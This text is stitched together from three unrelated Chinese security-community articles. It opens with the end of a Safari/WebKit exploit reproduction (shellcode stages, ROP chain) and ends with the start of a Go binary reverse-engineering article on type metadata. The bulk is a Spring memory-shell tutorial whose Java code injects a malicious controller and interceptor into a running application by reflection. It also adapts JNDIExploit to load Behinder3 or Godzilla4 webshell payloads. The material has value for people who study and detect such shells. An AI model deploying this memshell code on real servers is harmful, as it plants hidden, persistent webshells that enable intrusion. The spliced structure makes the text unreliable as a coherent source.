* 由于safari沙箱机制, 仅仅这一个代码执行的漏洞还没有突破沙箱的限制, 所以目前单独复现该漏洞的效果就是能确认第一阶段shellcode运行成功, 向目标端口建立socket连接以获取第二阶段shellcode并返回调用
* 关于第二阶段shellcode, 将会是沙箱逃逸的另一个漏洞, 只不过目前还没有公开的程序或资料, ret2systems也在博客末尾提到该漏洞将在之后的文章中分享
* 作为漏洞复现的最终展示, 这里能看到
* stage2_server可以成功建立连接
* 使用lldb调试WebContent进程成功获取到shellcode中的int3断点并查看内存布局
## 总结
* 这个漏洞本身还是非常好理解的, 从隐式类型转换到整数溢出再到栈溢出, 以及后面的ROP链的利用, 都还算是很经典的漏洞问题了
* 本篇文章记录一下自己学习WebKit漏洞的过程, 尽管POC作者已经给出了相当详细的描述解释, 复现下来发现还是有一些坑要自己踩一下的. 在记录整理的过程中也发现很多原理上的细节没有注意到, 仔细思考后发现这些小细节都可以直接决定漏洞利用是否成功.
* 在漏洞复现期间, 能明显的感觉到, 作者发现并编写了这一套漏洞利用, 我能做到复现, 仅仅是获得了作者在这方面十分之一的知识储备; 但从另一个角度讲, 如果没有做复现学习, 我们可能需要浪费十倍以上的时间在各种弯路上. 所以说还是要感谢分享技术的大佬, 让我们有机会快速进入这个领域, 并能够看见之后的方向.
* 贴一张pwn2own截图, 愿大家都有这么一刻吧
* * * | 社区文章 |
# Java安全之Spring内存马
## 基础知识
### Bean
`bean` 是 Spring 框架的一个核心概念，它是构成应用程序的主干，并且是由 `Spring IoC` 容器负责实例化、配置、组装和管理的对象。
通俗来讲：
* bean 是对象
* bean 被 IoC 容器管理
* Spring 应用主要是由一个个的 bean 构成的
### ApplicationContext
Spring 框架中，`BeanFactory` 接口是 `Spring` IoC容器 的实际代表者。
从下面的`接口继承关系图`中可以看出，`ApplicationContext` 接口继承了 `BeanFactory`
接口，并通过继承其他接口进一步扩展了基本容器的功能。
因此，`org.springframework.context.ApplicationContext`接口也代表了 `IoC容器`
，它负责实例化、定位、配置应用程序中的对象(`bean`)及建立这些对象间(`beans`)的依赖。
`IoC容器`通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的零元数据可以用`xml`、`Java注解`或`Java代码`来表示。
实现思路：
1. 使用纯 java 代码来获得当前代码运行时的上下文环境(Conetxt)；
2. 使用纯 java 代码在上下文环境中手动注册一个 controller；
3. controller中RequestMapping的方法中写入 Webshell 逻辑，达到和 Webshell 的 URL 进行交互回显的效果；
### ContextLoaderListener 与 DispatcherServlet
主要看一下ContextLoaderListener，DispatcherServlet在之前分析Thymeleaf的SSTI的时候就做了相关的分析
下面是一个典型 Spring 应用的 `web.xml` 配置示例：
<web-app xmlns:xsi="<a href=" http:="" www.w3.org="" 2001="" XMLSchema-instance"="" rel="nofollow">http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://java.sun.com/xml/ns/javaee"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
version="2.5">
<display-name>HelloSpringMVC</display-name>
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<servlet>
<servlet-name>dispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/dispatcherServlet-servlet.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dispatcherServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
关于 `Root Context` 和 `Child Context` 的重要概念：
* Spring 应用中可以同时有多个 `Context`，其中只有一个 `Root Context`，剩下的全是 `Child Context`
* 所有`Child Context`都可以访问在 `Root Context`中定义的 `bean`，但是`Root Context`无法访问`Child Context`中定义的 `bean`
* 所有的`Context`在创建后，都会被作为一个属性添加到了 `ServletContext`中
### ContextLoaderListener
`ContextLoaderListener` 主要被用来初始化全局唯一的`Root Context`，即 `Root
WebApplicationContext`。这个 `Root WebApplicationContext` 会和其他 `Child Context`
实例共享它的 `IoC 容器`，供其他 `Child Context` 获取并使用容器中的 `bean`。
回到 `web.xml` 中，其相关配置如下：
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
依照规范，当没有显式配置 `ContextLoaderListener` 的 `contextConfigLocation` 时，程序会自动寻找
`/WEB-INF/applicationContext.xml`，作为配置文件，所以其实上面的 `<context-param>`
标签对其实完全可以去掉。
`DispatcherServlet` 初始化完成后，会创建一个普通的 `Child Context` 实例。
每个具体的 `DispatcherServlet` 创建的是一个 `Child Context`，代表一个独立的 `IoC 容器`；而
`ContextLoaderListener` 所创建的是一个 `Root Context`，代表全局唯一的一个公共 `IoC 容器`。
果要访问和操作 `bean` ，一般要获得当前代码执行环境的`IoC 容器` 代表者 `ApplicationContext`。
## Spring Controller内存马实现
### 获取Context
_所有的_`Context` _在创建后，都会被作为一个属性添加到了_ `ServletContext` _中_
LandGrey师傅文中给出了4种获取当前上下文的思路
第一种：getCurrentWebApplicationContext()
// getCurrentWebApplicationContext方法获得的是一个XmlWebApplicationContext实例类型的Root WebApplicationContext。
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
第二种：WebApplicationContextUtils
// 通过这种方法获得的也是一个 Root WebApplicationContext 。此方法看起来比较麻烦
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
第三种：RequestContextUtils
// 通过 ServletRequest 类的实例来获得 Child WebApplicationContext
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
第四种：getAttribute
// 这种方式与前几种的思路就不太一样了，因为所有的Context在创建后，都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
先来看第一种获取方式，这里Spring环境为`5.2.3.RELEASE`，该版本下的并没有`getCurrentWebApplicationContext`方法，找的是`findWebApplicationContext`方法作为替代。
源码如下,可以看出`WebApplicationContext`是`DispatcherServlet`类的属性`WEB_APPLICATION_CONTEXT_ATTRIBUTE`
@Nullable
public static WebApplicationContext findWebApplicationContext(HttpServletRequest request, @Nullable ServletContext servletContext) {
WebApplicationContext webApplicationContext = (WebApplicationContext)request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE);
if (webApplicationContext == null) {
if (servletContext != null) {
webApplicationContext = WebApplicationContextUtils.getWebApplicationContext(servletContext);
}
if (webApplicationContext == null) {
webApplicationContext = ContextLoader.getCurrentWebApplicationContext();
}
}
return webApplicationContext;
}
@Nullable
public static WebApplicationContext findWebApplicationContext(HttpServletRequest request) {
return findWebApplicationContext(request, request.getServletContext());
}
那么跟进`DispatcherServlet`类中，`WebApplicationContext`是在`doService`方法中进行初始化的，`doService`方法则是初始化一些全局属性之后进入`doDispatch`方法处理`Request`和`Response`
### 注册Controller
Spring 2.5 开始到 Spring 3.1 之前一般使用
`org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping`
映射器 ；
Spring 3.1 开始及以后一般开始使用新的
`org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping`
映射器来支持@Contoller和@RequestMapping注解。
### 调试分析
代码如下，使用的su18师傅的思路，通过获取RequestMappingHandlerMapping父类的MappingRegistry属性并调用register方法来注册恶意的Controller
@Controller
public class AddControllerMemshell {
@RequestMapping(value = "/addcontroller")
public void addController(HttpServletRequest request, HttpServletResponse response) throws Exception{
final String controllerPath = "/zh1z3ven";
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
f.setAccessible(true);
Object mappingRegistry = f.get(mapping);
Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");
Method[] ms = c.getDeclaredMethods();
Field field = c.getDeclaredField("urlLookup");
field.setAccessible(true);
Map<String, Object> urlLookup = (Map<String, Object>) field.get(mappingRegistry);
for (String urlPath : urlLookup.keySet()) {
if (controllerPath.equals(urlPath)) {
response.getWriter().println("controller url path exist already");
return;
}
}
PatternsRequestCondition url = new PatternsRequestCondition(controllerPath);
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
Class<?> myClass = Util.getClass(CONTROLLER_CMDMEMSHELL_CLASS_STRING);
for (Method method : ms) {
if ("register".equals(method.getName())) {
method.setAccessible(true);
method.invoke(mappingRegistry, info, myClass.newInstance(), myClass.getMethods()[0]);
response.getWriter().println("spring controller add");
}
}
}
}
在`WebApplicationContext context =
RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)
RequestContextHolder.currentRequestAttributes()).getRequest());`代码处下断点跟进，首先是通过`RequestContextHolder.currentRequestAttributes()`方法拿到`Request`的封装类`RequestFacade`对象
强转为`ServletRequestAttributes`类型后调用`getRequest`方法拿到当前的Request对象
之后作为参数进入到`findWebApplicationContext`方法（Spring环境为`5.2.3.RELEASE`，该版本下并没有`getCurrentWebApplicationContext`方法，找的是`findWebApplicationContext`方法作为替代）
`findWebApplicationContext`方法源码如下,可以看出`WebApplicationContext`是`DispatcherServlet`类的属性`WEB_APPLICATION_CONTEXT_ATTRIBUTE`
@Nullable
public static WebApplicationContext findWebApplicationContext(HttpServletRequest request, @Nullable ServletContext servletContext) {
WebApplicationContext webApplicationContext = (WebApplicationContext)request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE);
if (webApplicationContext == null) {
if (servletContext != null) {
webApplicationContext = WebApplicationContextUtils.getWebApplicationContext(servletContext);
}
if (webApplicationContext == null) {
webApplicationContext = ContextLoader.getCurrentWebApplicationContext();
}
}
return webApplicationContext;
}
@Nullable
public static WebApplicationContext findWebApplicationContext(HttpServletRequest request) {
return findWebApplicationContext(request, request.getServletContext());
}
0x01 获取上下文
那么跟进`DispatcherServlet`类中，`WebApplicationContext`是在`doService`方法中进行初始化的，`doService`方法则是初始化一些全局属性之后进入`doDispatch`方法处理`Request`和`Response`
回头看`findWebApplicationContext`方法，获取到的是一个`XmlWebApplicationContext`实例类型的 `Root
WebApplicationContext`
0x02 获取RequestMappingHandlerMapping
关于RequestMappingHandlerMapping
>
> RequestMappingHandlerMapping的作用是在容器启动后将系统中所有控制器方法的请求条件（RequestMappingInfo）和控制器方法(HandlerMethod)的对应关系注册到RequestMappingHandlerMapping
> Bean的内存中，待接口请求系统的时候根据请求条件和内存中存储的系统接口信息比对，再执行对应的控制器方法。
>
> 直白一点讲就是处理Controller中在存在@RequestMapping注解的方法，当我们访问该注解中的值对应的url时，请求会进入相应的方法处理，而RequestMappingHandlerMapping类就是做的绑定@RequestMapping注解与相应Method之间的映射
`RequestMappingHandlerMapping mapping =
context.getBean(RequestMappingHandlerMapping.class);`
最终进入DefaultListableBeanFactory#getBean方法，之后通过走resolveBean逻辑获取并return
RequestMappingHandlerMapping实例对象
主要逻辑还是在DefaultListableBeanFactory#resolveNamedBean方法中，先是传入`requiredType.toClass()`、`beanName`、`args`，走进getBean方法逻辑去获取
`RequestMappingHandlerMapping`的实例化对象
getBean方法中单步调试过程有些多，就不贴图了，调用栈如下：
doGetBean:250, AbstractBeanFactory (org.springframework.beans.factory.support)
getBean:227, AbstractBeanFactory (org.springframework.beans.factory.support)
resolveNamedBean:1155, DefaultListableBeanFactory (org.springframework.beans.factory.support)
resolveBean:416, DefaultListableBeanFactory (org.springframework.beans.factory.support)
getBean:349, DefaultListableBeanFactory (org.springframework.beans.factory.support)
getBean:342, DefaultListableBeanFactory (org.springframework.beans.factory.support)
getBean:1126, AbstractApplicationContext (org.springframework.context.support)
最终调用getSingleton方法获取到了 RequestMappingHandlerMapping 的实例对象
之后new 了一个 NamedBeanHolder
将`RequestMappingHandlerMapping`对象与`beanName`一起作为的属性保存在NamedBeanHolder中
后续通过该对象的getBeanInstance方法获取到RequestMappingHandlerMapping并返回出来，至此也就拿到了RequestMappingHandlerMapping对象
0x03 反射获取mappingRegistry属性
Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
f.setAccessible(true);
Object mappingRegistry = f.get(mapping);
该属性为AbstractHandlerMethodMapping的内置类MappingRegistry对象，其中包含了regiester方法，后续添加contorller也是通过此方法
0x04 MappingRegistry#register
这里大致为两步，首先是构造RequestMappingInfo，其中包含了我们注册时需要的一些属性，其次是反射调用MappingRegistry#register方法将恶意的Controller给注册进去
因为是通过MappingRegistry#register方法注册Controller，我们简单来看一下一个正常的Controller是如何在代码中绑定@RequestMapping注解和对应Method方法的。
因为整个过程调用栈比较长，如果想从初始化开始一直到register方法会贴很多图，感兴趣的师傅可以根据su18师傅以及[这篇文章](https://www.cnblogs.com/w-y-c-m/p/8416630.html)去调试，相关调用栈如下
register:598, AbstractHandlerMethodMapping$MappingRegistry (org.springframework.web.servlet.handler)
registerHandlerMethod:318, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
registerHandlerMethod:350, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
registerHandlerMethod:67, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
lambda$detectHandlerMethods$1:288, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
accept:-1, 2019467502 (org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$$Lambda$99)
forEach:684, LinkedHashMap (java.util)
detectHandlerMethods:286, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
processCandidateBean:258, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
initHandlerMethods:217, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
afterPropertiesSet:205, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
afterPropertiesSet:171, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
invokeInitMethods:1855, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
initializeBean:1792, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
doCreateBean:595, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
createBean:517, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
lambda$doGetBean$0:323, AbstractBeanFactory (org.springframework.beans.factory.support)
getObject:-1, 924632896 (org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$56)
getSingleton:222, DefaultSingletonBeanRegistry (org.springframework.beans.factory.support)
doGetBean:321, AbstractBeanFactory (org.springframework.beans.factory.support)
getBean:202, AbstractBeanFactory (org.springframework.beans.factory.support)
preInstantiateSingletons:879, DefaultListableBeanFactory (org.springframework.beans.factory.support)
finishBeanFactoryInitialization:878, AbstractApplicationContext (org.springframework.context.support)
refresh:550, AbstractApplicationContext (org.springframework.context.support)
configureAndRefreshWebApplicationContext:702, FrameworkServlet (org.springframework.web.servlet)
createWebApplicationContext:668, FrameworkServlet (org.springframework.web.servlet)
createWebApplicationContext:716, FrameworkServlet (org.springframework.web.servlet)
initWebApplicationContext:591, FrameworkServlet (org.springframework.web.servlet)
这里直接来看AbstractHandlerMethodMapping#processCandidateBean方法
先通过if中的isHandler方法判断当前的beanType是否含有@Controller或者@RquestMapping注解
跟入detectHandlerMethods，首先获取handler的class对象，之后在lambda表达式中通过调用createRequestMappingInfo方法根据注解创建RequestMappingInfo对象，之后调用forEach循环遍历前面筛选出的method并调用registerHandlerMethod方法创建method与mapping之间的映射
而registerHandlerMethod方法最终是调用的MappingRegistry#register方法
register方法源码如下
public void register(T mapping, Object handler, Method method) {
if (KotlinDetector.isKotlinType(method.getDeclaringClass()) && AbstractHandlerMethodMapping.KotlinDelegate.isSuspend(method)) {
throw new IllegalStateException("Unsupported suspending handler method detected: " + method);
} else {
this.readWriteLock.writeLock().lock();
try {
HandlerMethod handlerMethod = AbstractHandlerMethodMapping.this.createHandlerMethod(handler, method);
this.validateMethodMapping(handlerMethod, mapping);
this.mappingLookup.put(mapping, handlerMethod);
List<String> directUrls = this.getDirectUrls(mapping);
Iterator var6 = directUrls.iterator();
while(var6.hasNext()) {
String url = (String)var6.next();
this.urlLookup.add(url, mapping);
}
String name = null;
if (AbstractHandlerMethodMapping.this.getNamingStrategy() != null) {
name = AbstractHandlerMethodMapping.this.getNamingStrategy().getName(handlerMethod, mapping);
this.addMappingName(name, handlerMethod);
}
CorsConfiguration corsConfig = AbstractHandlerMethodMapping.this.initCorsConfiguration(handler, method, mapping);
if (corsConfig != null) {
this.corsLookup.put(handlerMethod, corsConfig);
}
this.registry.put(mapping, new AbstractHandlerMethodMapping.MappingRegistration(mapping, handlerMethod, directUrls, name));
} finally {
this.readWriteLock.writeLock().unlock();
}
}
}
register方法主要做的就是绑定method与mapping之间的映射
比如mappingLookup属性存储了mapping与handler method的映射关系
而在urlLookup中存储了url与mapping的映射关系
以及在registry中，存储了mapping与MappingRegistration对象的映射关系。
综上，在注册Controller时大致需要用到的具体的属性如下。
所以整个Spring Controller内存马注册的过程大致如下：
`获取Context ==> 获取RequestMappingHandlerMapping ==> 获取MappingRegistry属性 ==>
构造RequestMappingInf（url，RequestMethodsRequestCondition ==>
调用MappingRegistry#register方法注册Controller`
## Spring Interceptor内存马实现
定义拦截器必须实现HandlerInterceptor接口，HandlerInterceptor接口中有三个方法：
* preHandle方法是controller方法执行前拦截的方法
return true放行，执行下一个拦截器，如果没有拦截器，执行controller中的方法。
return false不放行，不会执行controller中的方法。
* postHandle是controller方法执行后执行的方法，在JSP视图执行前。
可以使用request或者response跳转到指定的页面
如果指定了跳转的页面，那么controller方法跳转的页面将不会显示。
* afterCompletion方法是在JSP执行后执行
request或者response不能再跳转页面了
拦截器就不再多说了，而关于拦截器的初始化与注册，其实在之前[分析doDispatch方法文章](https://www.cnblogs.com/CoLo/p/15333433.html)里就有涉及到一点，这次深入跟一下。
断点直接打在DispatcherServlet#doDispatch方法，F9跳入getHandler方法中
该方法对HandlerMapping进行遍历，当某个HandlerMapping调用getHandler的返回结果HandlerExecutionChain对象不为null时，则将此HandlerExecutionChain对象return出去。
往下跟而其中mapping对象调用的getHandler方法为AbstractHandlerMapping#getHandler方法，而HandlerExecutionChain镀锡是通过调用getHandlerExecutionChain获取到的
继续跟进getHandlerExecutionChain方法，最终通过HandlerExecutionChain#addInterceptor方法添加的拦截器Interceptor
观察下面addInterceptor源码可发现，目前只要构造好一个实现HandlerInterceptor恶意Interceptor即可。
public void addInterceptor(HandlerInterceptor interceptor) {
this.initInterceptorList().add(interceptor);
}
那后续就是观察Interceptor是在哪里固定调用的哪一个方法，就类似于Tomcat中Filter的doFileter方法一样。
其实重点就是获取`ApplicationContext`和`requestMappingHandlerMapping`的`adaptedInterceptors`属性，拿到`adaptedInterceptors`属性后调add方法把我们恶意的拦截器添加进去即可。
看一下网上多数文章用到的注入拦截器的代码，copy自su18师傅，`add`方法中那一串就是base64编码后的class文件的bytes数组，主要看思路。
大致是通过：
0x01: `RequestContextUtils.findWebApplicationContext`获取`Context`
0x02:
`context.getBean(RequestMappingHandlerMapping.class)`获取`RequestMappingHandlerMapping`
0x03: 反射获取`adaptedInterceptors`属性
0x04: `list.add(HandlerInterceptor)`添加Interceptor
@Controller
public class AddInterceptorMemshell {
@RequestMapping(value = "/addinterceptor")
public void addInterceptor(HttpServletRequest request, HttpServletResponse response) throws Exception {
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
f.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping);
list.add((HandlerInterceptor) Util.getClass(Util.INTERCEPTOR_CMDMEMSHELL_CLASS_STRING).newInstance());
response.getWriter().println("interceptor added");
}
}
剩下的就不测试了，类似于Controller，下面看下改JNDIExploit时遇到的小问题
## 改造JNDIExploit
feihong师傅的JNDIExploit项目中获取ApplicationContext思路如下：
// 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
Field field = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
// 2. 属性被 private 修饰，所以 setAccessible true
field.setAccessible(true);
// 3. 获取一个 ApplicationContext 实例
WebApplicationContext context =(WebApplicationContext) ((LinkedHashSet)field.get(null)).iterator().next();
而我在测试5.2.3的Spring时会抛出如下异常
[+] Add Dynamic Interceptor
java.util.NoSuchElementException
at java.util.LinkedHashMap$LinkedHashIterator.nextNode(LinkedHashMap.java:721)
at java.util.LinkedHashMap$LinkedKeyIterator.next(LinkedHashMap.java:742)
暂时没找到原因，所以在改JNDIExploit时也是用的第一种获取Context的思路，重新拿反射写了一遍,大致代码如下（只测试了5.2.3版本Spring通过）
// 0x01 获取Context
Class RCHClass = Class.forName("org.springframework.web.context.request.RequestContextHolder");
ServletRequestAttributes servletRequestAttributes = (ServletRequestAttributes) RCHClass.getDeclaredMethod("currentRequestAttributes").invoke(RCHClass, null);
// Method currentRequestAttributes = rctxh.getDeclaredMethod("currentRequestAttributes", null);
Class SRAClass = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
Method getRequestMethod = SRAClass.getDeclaredMethod("getRequest");
Class RCUClass = Class.forName("org.springframework.web.servlet.support.RequestContextUtils");
Method findWebApplicationContextMethod = RCUClass.getMethod("findWebApplicationContext", HttpServletRequest.class);
WebApplicationContext context = (WebApplicationContext) findWebApplicationContextMethod.invoke(RCUClass, getRequestMethod.invoke(servletRequestAttributes));
// 0x02 通过 context 获取 RequestMappingHandlerMapping 对象
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
// 0x03 获取adaptedInterceptors并添加Interceptor
Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
f.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping);
list.add((HandlerInterceptor) clazz.newInstance());
那么剩下的就是将Behinder3或者Godzilla4的Memshell base64字段替换一下即可。
Behinder3 Memshell
Godzilla4 Memshell
## Reference
<https://landgrey.me/blog/12/>
<https://landgrey.me/blog/19/>
<https://su18.org/post/memory-shell/>
<https://myzxcg.com/2021/11/Spring-%E5%86%85%E5%AD%98%E9%A9%AC%E5%AE%9E%E7%8E%B0/>
<https://f5.pm/go-83042.html> | 社区文章 |
# 七夕—Go二进制文件逆向分析从基础到进阶——数据类型
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 书接前文，本文详细介绍 Go 二进制文件中的数据类型信息，如何定位并解析所有数据类型定义。
**传送门** ：
1. [Go二进制文件逆向分析从基础到进阶——综述](https://www.anquanke.com/post/id/214940)
2. [Go二进制文件逆向分析从基础到进阶——MetaInfo、函数符号和源码文件路径列表](https://www.anquanke.com/post/id/215419)
## 8\. types
### 8.1 简介
重温一下本系列第一篇《[Go二进制文件逆向分析从基础到进阶——综述](https://www.anquanke.com/post/id/214940)》文末介绍的
Go 语言中的数据类型。Go 在构建二进制文时把项目中所有数据类型信息也打包到二进制文件中，这些数据类型信息主要为 Go 语言中的 Stack
Trace、Type Reflection 和类型转换服务。Go 语言内置的标准数据类型如下：
而这些类型的底层实现，其实都基于一个底层的结构定义扩展组合而来：
如果只是一个没有绑定任何 Method 的 Basic Type ，那么用 **rtype** 的结构就可以简单表示。如果一个数据类型绑定了
Methods(这种数据类型也叫 **Uncommon Type** )，或者属于复杂的组合类型(Composite
Type)，那么就需要用扩展组合的方式来表示了。复杂类型的扩展组合方式可以简单描述为（虚线表示可选）：
这里以一个典型的 Struct 类型的数据结构为例，源码级表示为：
// structType represents a struct type.
type structType struct {
rtype
pkgPath name
fields []structField // fields address, sorted by offset
}
type uncommonType struct {
pkgPath nameOff // import path; empty for built-in types like int, string
mcount uint16 // number of methods
xcount uint16 // number of exported methods
moff uint32 // offset from this uncommontype to [mcount]method
_ uint32 // unused
}
type structField struct {
name name // name is always non-empty
typ *rtype // type of field
offsetEmbed uintptr // byte offset of field<<1 | isEmbedded
}
// Method on non-interface type
type method struct {
name nameOff // name of method
mtyp typeOff // method type (without receiver)
ifn textOff // fn used in interface call (one-word receiver)
tfn textOff // fn used for normal method call
}
在 Go 二进制文件中，用 IDAPro 查看实际的数据排列顺序，也如上面源码顺序一样由“上”到“下”（地址由高到低）。以
**[go_parser](https://github.com/0xjiayu/go_parser)** 解析的某样本中一个实际的 Struct
数据为例，可以仔细对比一下源码的定义：
### 8.2 types 遍历思路
#### 8.2.1 runtime.newobject 的交叉引用
一个 Go 二进制文件中，被静态链接打包进去几千个函数，连带着打包进去的变量、常量加起来也数以千计，对应于数以千计的 Type
定义。上面介绍了其中一个典型的 Struct 类型数据的定义，一个问题很自然地就抛出来了：如何在 Go 二进制文件中定位到这所有的数据类型定义，并解析他们
Type 信息？
如果对 Go 语言稍有了解的话，会知道 Go 底层在定义一个变量(为某类型的变量分配内存空间)时，都会调用一个函数
`runtime.newobject()`
。该函数的[源码实现](https://golang.org/src/runtime/malloc.go)如下(其中的 `_type` 其实就是上面所说的
**rtype** ， 参考： [src/runtime/type.go](https://golang.org/src/runtime/type.go)：
// implementation of new builtin
// compiler (both frontend and SSA backend) knows the signature
// of this function
func newobject(typ *_type) unsafe.Pointer {
return mallocgc(typ.size, typ, true)
}
// Allocate an object of size bytes.
// Small objects are allocated from the per-P cache's free lists.
// Large objects (> 32 kB) are allocated straight from the heap.
func mallocgc(size uintptr, typ *_type, needzero bool) unsafe.Pointer
在 IDAPro 中看到的调用 `runtime.newobject()` 函数的形式通常如下：
如此一来，就可以在 IDAPro 中遍历 `runtime.newobject()`
函数的交叉引用，然后在汇编指令中提取参数，就获取到了目标数据类型定义的地址。按照这个思路，就能一一定位到这些数据类型：
然而，这种方式存在一些问题。可以看到上面 `runtime.newobject()` 函数的交叉引用个数为 **2568** ，而在前文 《
**[Go二进制文件逆向分析从基础到进阶——MetaInfo、函数符号和源码文件路径列表](https://www.anquanke.com/post/id/215419)**
》 介绍的 **firstmoduledata** 结构中的 **typelinks** 的个数为 **0xA91(2705)** 。说明
`runtime.newobject()` 函数的交叉引用覆盖不全。漏了哪些呢？下图所示的用法是情况之一，即把某个类型指针当作参数传入一个函数：
#### 8.2.2 遍历 firstmoduledata.typelinks
所以，通过遍历 `runtime.newobject()` 函数交叉引用的方式来遍历所有数据类型定义，不够完美。最好的方式，上面已经暗示了，是遍历
**firstmoduledata** 结构中的 **typelinks** 。
**[go_parser](https://github.com/0xjiayu/go_parser)** 解析好的 **typelinks** 如下：
**typelinks** 中的数据，以 4-Bytes(uint32) 为单位，每个值代表一个相对于 `firstmoduledata.types`
起始地址的 **Offset** ，即 `firstmoduledata.types` 加上这个 **Offset** 值，就是相应的数据类型定义信息的
**地址** 。 **[go_parser](https://github.com/0xjiayu/go_parser)** 会把每个计算好的地址值，以
Comment 的形式打到每个 Offset 后面，双击 Comment 中的地址值，即可跳转到对应的数据类型定义的位置。
### 8.3 rtype 解析
上文已经阐述了 Go 二进制文件中所有 Type
信息如何组织、存放的，以及通过什么样的方式可以找到这些数据类型定义信息。接下来的问题就是，如何解析每一个找到的数据类型定义，从中提取有助于逆向分析的信息，并以友好的方式在
IDAPro 中展示出来。
#### 8.3.1 rtype
前面提过多次 **rtype** ，可以表示最简单的数据类型(Common Basic Types)。 **rtype** 在源码中的定义如下：
// Refer: https://golang.org/src/reflect/type.go
type rtype struct {
size uintptr
ptrdata uintptr // number of bytes in the type that can contain pointers
hash uint32 // hash of type; avoids computation in hash tables
tflag tflag // extra type information flags
align uint8 // alignment of variable with this type
fieldAlign uint8 // alignment of struct field with this type
kind uint8 // enumeration for C
alg *typeAlg // algorithm table
gcdata *byte // garbage collection data
str nameOff // string form
ptrToThis typeOff // type for pointer to this type, may be zero
}
还是以前面贴过的 `*x509.SystemRootsError` 这个类型为例：
**rtype** 中对逆向分析最有用的字段有以下几个：
* **tflag** ：1 Byte(uint8)，当前类型的 flag；
* **kind** ：1 Byte(uint8)，当前类型的底层类型代码；
* **str** ：4 Bytes(uint32)，当前类型 name string 的偏移(相对于 **firstmoduledata.types** )
* **ptrtothis** ：4 Bytes(uint32)，如果有另外的 **指针类型** 指向本类型，那么 **ptrtothis** 就是那个指针类型相对于 **firstmoduledata.types** 的偏移量；
**tflag** 可能的值有 3 个：
* **star prefix** ：即 **nams string** 以星号 `*` 开头，如果 **tflag** 值与 **1** 按位与的结果不为 0，则该类型的 star prefix flag 为 True；
* **named** ：即该类型是被显示命名的，或者是为标准类型拟了一个别名，如果 **tflag** 值与 **2** 按位与的结果不为零，则 named flag 为 True；
* **Uncommon** ：该类型有绑定的 Methods，如果 **tflag** 的值与 **4** 按位与的结果不为零，则该类型为 Uncommon Type。
**kind** 是个 uint 类型的枚举变量，在
[src/reflect/type.go](https://golang.org/src/reflect/type.go) 中的定义的如下：
// A Kind represents the specific kind of type that a Type represents.
// The zero Kind is not a valid kind.
type Kind uint
const (
